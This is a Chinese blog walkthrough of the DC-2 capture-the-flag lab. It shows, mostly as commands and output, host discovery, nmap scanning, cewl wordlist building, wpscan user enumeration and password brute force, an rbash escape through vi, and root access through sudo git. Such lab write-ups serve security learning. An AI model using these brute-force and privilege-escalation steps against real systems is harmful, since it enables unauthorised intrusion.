渗透测试—DC_2


渗透测试—DC_2

一、主机发现

前几篇博客写了主机发现的两个小部分,下面两个分别是 Ping扫描ARP扫描

https://valecasec.github.io/2020/04/18/scapy-arp-sao-miao/
https://valecasec.github.io/2020/04/17/scapy-ping-sao-miao/

这里使用进行 Ping扫描 主机发现,看到存活了一个主机:10.87.51.20

[root@localhost Desktop]# python Ping_Scan.py 10.87.51.0/24
[+] 10.87.51.1 is alive
[+] 10.87.51.3 is alive
[+] 10.87.51.20 is alive
[+] 本次扫描共花费 9.868978261947632 秒
#这里也可以用ARP扫描,时间会更快一些

二、信息收集

使用 Nmap 对目标站点进行扫描,发现了开放了 80 端口及 7744 作为 ssh 端口

root@kali:~/Desktop# nmap -sV -p- 10.87.51.20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-20 08:16 EDT
Nmap scan report for dc-2 (10.87.51.20)
Host is up (0.0011s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:1A:11:62 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

这里作者已经提示了需要改 host 文件才能访问对应站点,在 Kali Linux 下修改:

root@kali:~/Desktop# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.87.51.20     dc-2

可以很直观的看到这是基于 Wordpress 搭建的站点,且 Wordpress 的后台登录网址是 wp-login.php

可以看到,在最后一个模块中直接看到了 Flag 的字眼,打开查看

三、口令爆破

这里提示我们使用 cewl 这个工具保存字典

root@kali:~# cewl http://dc-2/ -w dic.txt
root@kali:~# wc -l dic.txt
238 dic.txt

这里已经知道用什么建站了,而且已经有密码字典了,所以使用 wpscan 直接探测用户名

root@kali:~# wpscan --url http://dc-2/ -e u
#下面找几天比较有用的信息
[+] admin
[+] jerry
[+] tom

这里扫出了三个用户名,然后再尝试使用 wpscan 爆破密码

root@kali:~# wpscan --url http://dc-2/ -U jerry -P dic.txt
[!] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
[!] Valid Combinations Found:
 | Username: tom, Password: parturient

使用用户名 jerry 登录到 Wordpress ,发现了 flag2

之前还扫描出了 SSH 运行在 7744 端口,可以尝试使用之前爆破出的两个密码来登录

#使用Jerry登录失败
C:\>ssh jerry@10.87.51.20 -p 7744
jerry@10.87.51.20's password:
Permission denied, please try again.

tom 这个用户登录成功,不过发现有 rbash 这种限制。

C:\Users\Savalen>ssh tom@10.87.51.20 -p 7744
tom@10.87.51.20's password:
tom@DC-2:~$ whoami
-rbash: whoami: command not found

这里发现 less 命令可以使用,查看家目录下的 flag3.txt 文件。

tom@DC-2:~$ less flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

这里提示 jerry 的权限是比 tom 的权限高的,让我们使用 su 命令切换用户,在经过测试后,发现下面几个命令是可用的

tom@DC-2:~$ ls -R usr
usr:
bin

usr/bin:
less  ls  scp  vi

四、rbash 突破及 git 提权

这里使用 vi 进行突破

:set shell/bin/bash
:shell

发现可以用一些其他命令了,获取到了 flag4.txt

tom@DC-2:~$ pwd
/home/tom
tom@DC-2:/home/jerry$ less flag4.txt
Good to see that you've made it this far - but you're not home yet. Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

flag4.txt (END)

首先切换用户到 jerry

tom@DC-2:/home/jerry$ /bin/su jerry
Password:

这里提示我们使用 git 命令来提权

$ sudo git -p help config
GIT-CONFIG(1)                                        Git Manual                                        GIT-CONFIG(1)



NAME
       git-config - Get and set repository or global options

SYNOPSIS
       git config [<file-option>] [type] [-z|--null] name [value [value_regex]]
       git config [<file-option>] [type] --add name value
       git config [<file-option>] [type] --replace-all name value [value_regex]
       git config [<file-option>] [type] [-z|--null] --get name [value_regex]
       git config [<file-option>] [type] [-z|--null] --get-all name [value_regex]
       git config [<file-option>] [type] [-z|--null] --get-regexp name_regex [value_regex]
       git config [<file-option>] [type] [-z|--null] --get-urlmatch name URL
       git config [<file-option>] --unset name [value_regex]
       git config [<file-option>] --unset-all name [value_regex]
!/bin/sh
# whoami
root
# ls /root
final-flag.txt
# cat /root/final-flag.txt
 __    __     _ _       _                    _
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

#

Additions:

文章借鉴了下面的站点:

https://gtfobins.github.io/gtfobins/git/

另外,作为一个初学者,自己会的真的很少,希望自己以后能够越走越远吧,加油~


文章作者: valecalida
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 valecalida !
评论
  目录